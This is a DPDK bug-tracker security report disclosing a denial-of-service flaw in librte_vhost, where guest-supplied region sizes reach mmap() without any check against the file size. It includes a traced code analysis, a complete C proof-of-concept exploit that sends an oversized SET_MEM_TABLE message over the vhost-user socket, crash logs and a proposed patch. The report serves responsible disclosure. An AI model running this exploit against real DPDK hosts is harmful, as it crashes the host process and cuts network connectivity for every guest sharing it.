https://bugs.dpdk.org/show_bug.cgi?id=2002

            Bug ID: 2002
           Summary: vhost memory size validation before mmap
           Product: DPDK
           Version: unspecified
          Hardware: All
                OS: All
            Status: UNCONFIRMED
          Severity: normal
          Priority: Normal
         Component: vhost/virtio
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: ---
             Group: security

Report date: 2026-04-09
Reported by: Don Salvatore Nero <[email protected]>

Dear DPDK Security Team

Security Vulnerability Report

DPDK librte_vhost — Memory Size Validation Missing Before mmap()

Executive Summary

A Denial-of-Service vulnerability was discovered in DPDK version 25.11.0
(stable) in the librte_vhost library. The function vhost_user_mmap_region() in
lib/vhost/vhost_user.c calls mmap() with a size value supplied directly by an
untrusted guest without validating it against the actual file size (st_size).
This allows a malicious guest to cause a segmentation fault (SIGBUS/segfault)
that crashes the entire DPDK host process.

Basic Information

Element Details

 Discovered by:  Don Salvatori Nero

Affected Version DPDK 25.11.0 (stable)

Affected File lib/vhost/vhost_user.c

Affected Functions vhost_user_mmap_region(), vhost_user_set_mem_table()

Vulnerability Class CWE-20 — Improper Input Validation

Impact Denial of Service — full crash of the DPDK host process

Attack Vector Malicious guest via vhost-user Unix socket

Discovery Methodology

The vulnerability was identified through a comprehensive source code audit of
the DPDK vhost-user implementation. The analysis traced the end-to-end data
flow from untrusted guest input to the critical mmap() system call,
systematically examining each validation point along the path. The
investigation involved reviewing message routing mechanisms, memory region
parsing logic, and the absence of file size verification prior to memory
mapping operations.

1. Entry Point — Message Routing

The first step was identifying how guest messages are routed in
lib/vhost/vhost_user.c:

// lib/vhost/vhost_user.c:73

VHOST_MESSAGE_HANDLER(VHOST_USER_SET_MEM_TABLE, vhost_user_set_mem_table, true,
true)

This line confirms that any guest connection can send VHOST_USER_SET_MEM_TABLE
and it will be routed directly to vhost_user_set_mem_table().

2. First Function — vhost_user_set_mem_table()

Location: lib/vhost/vhost_user.c:1386

The function reads guest-supplied memory region data and copies it without
validating memory_size:

// lib/vhost/vhost_user.c:1465-1488

for (i = 0; i < memory->nregions; i++) {

    reg = &dev->mem->regions[i];

    reg->guest_phys_addr = memory->regions[i].guest_phys_addr;

    reg->guest_user_addr = memory->regions[i].userspace_addr;

    reg->size = memory->regions[i].memory_size;      // ← guest value, no check

    reg->fd = ctx->fds[i];

    ctx->fds[i] = -1;

    mmap_offset = memory->regions[i].mmap_offset;



    if (vhost_user_mmap_region(dev, reg, mmap_offset) < 0) {

        goto free_mem_table;

    }

}

What was validated: only nregions count:

// lib/vhost/vhost_user.c:1399

if (memory->nregions > VHOST_MEMORY_MAX_NREGIONS) {

    goto close_msg_fds;

}

What was NOT validated: memory_size against the actual file size of
ctx->fds[i].

3. Second Function — vhost_user_mmap_region()

Location: lib/vhost/vhost_user.c:1289

Full function analysis:

vhost_user_mmap_region(struct virtio_net *dev, struct rte_vhost_mem_region
*region,

                       uint64_t mmap_offset)

{

    void *mmap_addr;

    uint64_t mmap_size;

    uint64_t alignment;

    int populate;

    // CHECK 1: integer overflow — CORRECT

    if (mmap_offset >= -region->size) {

        return -1;

    }

    // mmap_size comes entirely from guest

    mmap_size = region->size + mmap_offset;

    // get_blk_size reads st_blksize — NOT st_size

    alignment = get_blk_size(region->fd);

    if (alignment == (uint64_t)-1) {

        return -1;

    }

    // align size upward

    mmap_size = RTE_ALIGN_CEIL(mmap_size, alignment);

    // CHECK 2: zero overflow — CORRECT

    if (mmap_size == 0) {

        return -1;

    }

    // ← NO CHECK HERE: mmap_size vs actual file st_size

    populate = dev->async_copy ? MAP_POPULATE : 0;

    // mmap called with guest-controlled size

    mmap_addr = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE,

                     MAP_SHARED | populate, region->fd, 0);

    // only MAP_FAILED is checked — succeeds with oversized mapping

    if (mmap_addr == MAP_FAILED) {

        return -1;

    }

    region->mmap_addr = mmap_addr;

    region->mmap_size = mmap_size;

    region->host_user_addr = (uint64_t)(uintptr_t)mmap_addr + mmap_offset;

    return 0;

}

4. Third Function — get_blk_size()

Location: lib/vhost/vhost_user.c:165

get_blk_size(int fd)

{

    struct stat stat;

    int ret;

    ret = fstat(fd, &stat);

    return ret == -1 ? (uint64_t)-1 : (uint64_t)stat.st_blksize;

}

Critical finding: fstat() is called but only st_blksize (preferred I/O block
size) is returned. st_size (actual file size) is never read anywhere in
lib/vhost/vhost_user.c:

grep -rn "st_size" lib/vhost/vhost_user.c

# → no output

5. Confirmation — No Fix in Git History

git log --oneline -- lib/vhost/vhost_user.c | \

grep -i "mmap\|fix\|CVE\|size\|overflow" | head -10

Output:

bdd96d8ac7 vhost: fix offset while mapping log base address

47358f8f50 vhost: fix virtqueue access lock check for handlers

3bb7df6a95 vhost: fix vring addr update with vDPA

...

No commit in the entire history addresses missing st_size validation before
mmap().

6. Root Cause Summary

Data flow from guest to crash:

Guest sends VHOST_USER_SET_MEM_TABLE

    ↓

vhost_user_set_mem_table()

    reg->size = memory->regions[i].memory_size   ← guest value, no size check

    reg->fd = ctx->fds[i]                        ← guest fd

    ↓

vhost_user_mmap_region()

    mmap_size = region->size + mmap_offset       ← still guest value

    get_blk_size(fd) → st_blksize only           ← NOT st_size

    mmap(NULL, mmap_size, ..., fd, 0)            ← oversized mapping succeeds

    ↓

Later access to address beyond real file size

    ↓

Linux kernel sends SIGBUS → segfault → DPDK process crashes

7. Proof of Concept

Environment Setup

· DPDK version: 25.11.0 stable

· OS: Ubuntu 22.04.5 LTS (Linux 5.15.0-122-generic x86_64)

Step 1 — Build and run DPDK testpmd

sudo ./build/app/dpdk-testpmd \

  -l 0-1 --in-memory --no-pci \

  --vdev 'net_vhost0,iface=/tmp/vhost-net,client=0' -- -i

Output confirmed DPDK running and listening:

VHOST_CONFIG: (/tmp/vhost-net) vhost-user server: socket created, fd: 201

VHOST_CONFIG: (/tmp/vhost-net) binding succeeded

Step 2 — Exploit code

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#define VHOST_USER_HDR_SIZE 12

#define VHOST_USER_MEMORY_MAX_NREGIONS 8

typedef enum VhostUserRequest {

    VHOST_USER_NONE = 0,

    VHOST_USER_GET_FEATURES = 1,

    VHOST_USER_SET_FEATURES = 2,

    VHOST_USER_SET_OWNER = 3,

    VHOST_USER_SET_MEM_TABLE = 5,

} VhostUserRequest;

struct VhostUserMemoryRegion {

    uint64_t guest_phys_addr;

    uint64_t memory_size;

    uint64_t userspace_addr;

    uint64_t mmap_offset;

};

struct VhostUserMemory {

    uint32_t nregions;

    uint32_t padding;

    struct VhostUserMemoryRegion regions[VHOST_USER_MEMORY_MAX_NREGIONS];

};

struct VhostUserMsg {

    uint32_t request;

    uint32_t flags;

    uint32_t size;

    union {

        uint64_t u64;

        struct VhostUserMemory memory;

    } payload;

} __attribute__((packed));

static int send_vhost_message(int sockfd, struct VhostUserMsg *msg, int fd) {

    struct msghdr msgh;

    struct iovec iov;

    char control[CMSG_SPACE(sizeof(int))];



    memset(&msgh, 0, sizeof(msgh));

    iov.iov_base = msg;

    iov.iov_len = VHOST_USER_HDR_SIZE + msg->size;

    msgh.msg_iov = &iov;

    msgh.msg_iovlen = 1;



    if (fd != -1) {

        msgh.msg_control = control;

        msgh.msg_controllen = sizeof(control);

        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msgh);

        cmsg->cmsg_len = CMSG_LEN(sizeof(int));

        cmsg->cmsg_level = SOL_SOCKET;

        cmsg->cmsg_type = SCM_RIGHTS;

        memcpy(CMSG_DATA(cmsg), &fd, sizeof(int));

    }



    if (sendmsg(sockfd, &msgh, 0) < 0) {

        perror("Failed to send vhost message");

        return -1;

    }

    return 0;

}

int main(int argc, char *argv[]) {

    if (argc < 2) {

        printf("Usage: %s \n", argv[0]);

        return -1;

    }



    int sockfd;

    struct sockaddr_un addr;

    char *socket_path = argv[1];



    // Create small trap file — real size 1MB

    const char *shm_path = "/tmp/fake_mem";

    int mem_fd = open(shm_path, O_RDWR | O_CREAT | O_TRUNC, 0666);

    ftruncate(mem_fd, 1024 * 1024);



    if ((sockfd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {

        perror("Socket error");

        return -1;

    }



    memset(&addr, 0, sizeof(addr));

    addr.sun_family = AF_UNIX;

    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);



    printf("[*] Connecting to DPDK vhost socket: %s\n", socket_path);

    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) {

        perror("Connect error");

        return -1;

    }



    struct VhostUserMsg msg;



    // Step 1: SET_OWNER

    memset(&msg, 0, sizeof(msg));

    msg.request = VHOST_USER_SET_OWNER;

    msg.size = 0;

    send_vhost_message(sockfd, &msg, -1);

    printf("[+] Sent VHOST_USER_SET_OWNER\n");



    // Step 2: Malicious SET_MEM_TABLE

    memset(&msg, 0, sizeof(msg));

    msg.request = VHOST_USER_SET_MEM_TABLE;

    msg.flags = 0x1;

    msg.payload.memory.nregions = 1;

    msg.payload.memory.regions[0].guest_phys_addr = 0x0;

    // Claim 10GB — real file is 1MB

    msg.payload.memory.regions[0].memory_size = 10ULL * 1024 * 1024 * 1024;

    msg.payload.memory.regions[0].userspace_addr = 0x4000000000ULL;

    msg.payload.memory.regions[0].mmap_offset = 0;

    msg.size = sizeof(struct VhostUserMemory);



    printf("[!] Sending malicious SET_MEM_TABLE (claimed: 10GB, actual:
1MB)\n");

    send_vhost_message(sockfd, &msg, mem_fd);

    printf("[+] Exploit sent. Waiting...\n");



    sleep(2);



    char buf[1];

    if (read(sockfd, buf, 1) == 0)

        printf("[SUCCESS] DPDK crashed!\n");

    else

        printf("[FAILURE] DPDK still running.\n");



    close(sockfd);

    close(mem_fd);

    unlink(shm_path);

    return 0;

}

Step 3 — Compile and run

gcc vhost_exploit.c -o vhost_exploit

sudo ./vhost_exploit /tmp/vhost-net

Step 4 — DPDK log confirms oversized mapping accepted

VHOST_CONFIG: (/tmp/vhost-net) read message VHOST_USER_SET_MEM_TABLE

VHOST_CONFIG: (/tmp/vhost-net) guest memory region size: 0x280000000

VHOST_CONFIG: (/tmp/vhost-net) mmap addr : 0x7ffd68000000

VHOST_CONFIG: (/tmp/vhost-net) mmap size : 0x280000000

VHOST_CONFIG: (/tmp/vhost-net) mmap align: 0x1000

VHOST_CONFIG: (/tmp/vhost-net) mmap off : 0x0

mmap_size = 0x280000000 = 10GB — accepted without error.

Step 5 — Crash confirmed

dmesg | grep -i "testpmd" | tail -n 5

[1836590.377750] dpdk-vhost-evt[1307789]: segfault at 10187cad8 ip
0000555555a44be1 sp 00007fffeeff7470 error 4 in
dpdk-testpmd[555555714000+2595000]

error 4 = page not present = access beyond real file boundary.

8. Impact

Any process that can connect to the vhost-user Unix socket — including any
guest VM or container with access to it — can crash the entire DPDK host
process with a single message. All other guests sharing the same DPDK instance
lose network connectivity instantly.

9. Recommended Fix

In vhost_user_mmap_region(), after calling fstat(), add a check comparing
mmap_size against st_size:

struct stat file_stat;

if (fstat(region->fd, &file_stat) == -1) {

    return -1;

}

if (mmap_size > (uint64_t)file_stat.st_size) {

    VHOST_CONFIG_LOG(dev->ifname, ERR,

                     "mmap size (0x%" PRIx64 ") exceeds file size (0x%" PRIx64
")",

                     mmap_size, (uint64_t)file_stat.st_size);

    return -1;

}

-- 
You are receiving this mail because:
You are the assignee for the bug.

Reply via email to